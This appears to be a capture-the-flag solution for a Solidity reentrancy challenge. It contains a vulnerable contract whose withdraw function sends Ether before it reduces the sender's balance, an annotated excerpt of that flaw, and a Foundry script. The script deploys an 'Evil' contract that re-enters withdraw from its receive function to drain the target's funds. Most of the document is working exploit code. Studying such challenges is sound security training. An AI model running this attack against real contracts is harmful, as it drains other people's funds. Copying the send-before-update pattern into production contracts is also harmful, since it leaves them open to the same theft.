1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.6.12;
3

4
import "openzeppelin-contracts-06/math/SafeMath.sol";
5

6
contract Reentrance {
7
    using SafeMath for uint256;
8

9
    mapping(address => uint256) public balances;
10

11
    function donate(address _to) public payable {
12
        balances[_to] = balances[_to].add(msg.value);
13
    }
14

15
    function balanceOf(address _who) public view returns (uint256 balance) {
16
        return balances[_who];
17
    }
18

19
    function withdraw(uint256 _amount) public {
20
        if (balances[msg.sender] >= _amount) {
21
            (bool result,) = msg.sender.call{value: _amount}("");
22
            if (result) {
23
                _amount;
24
            }
25
            balances[msg.sender] -= _amount;
26
        }
27
    }
28

29
    receive() external payable {}
30
}

1
function withdraw(uint256 _amount) public {
2
    if (balances[msg.sender] >= _amount) {
3
        (bool result,) = msg.sender.call{value: _amount}("");  // Ether sent first
4
        if (result) {
5
            _amount;
6
        }
7
        balances[msg.sender] -= _amount;  // Balance updated later
8
    }
9
}

1
// SPDX-License-Identifier: UNLICENSED
2
pragma solidity ^0.6.12;
3

4
import "forge-std/Script.sol";
5
import "forge-std/console.sol";
6
import "../src/Reentrance.sol";
7

8
contract Evil {
9
    Reentrance public reentranceInstance = Reentrance(payable(<YOUR_INSTANCE>));
10

11
    constructor() public payable {
12
        reentranceInstance.donate{value: 0.001 ether}(address(this));
13
    }
14

15
    function attack() public payable {
16
        reentranceInstance.withdraw(0.001 ether);
17
        address(msg.sender).call{value: 0.002 ether}("");
18
    }
19

20
    receive() external payable {
21
        reentranceInstance.withdraw(0.001 ether);
22
    }
23
}
24

25
contract ReentranceSolution is Script {
26
    function run() public {
27
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
28
        Evil evil = new Evil{value: 0.001 ether}();
29
        evil.attack{value: 0.001 ether}();
30
        vm.stopBroadcast();
31
    }
32
}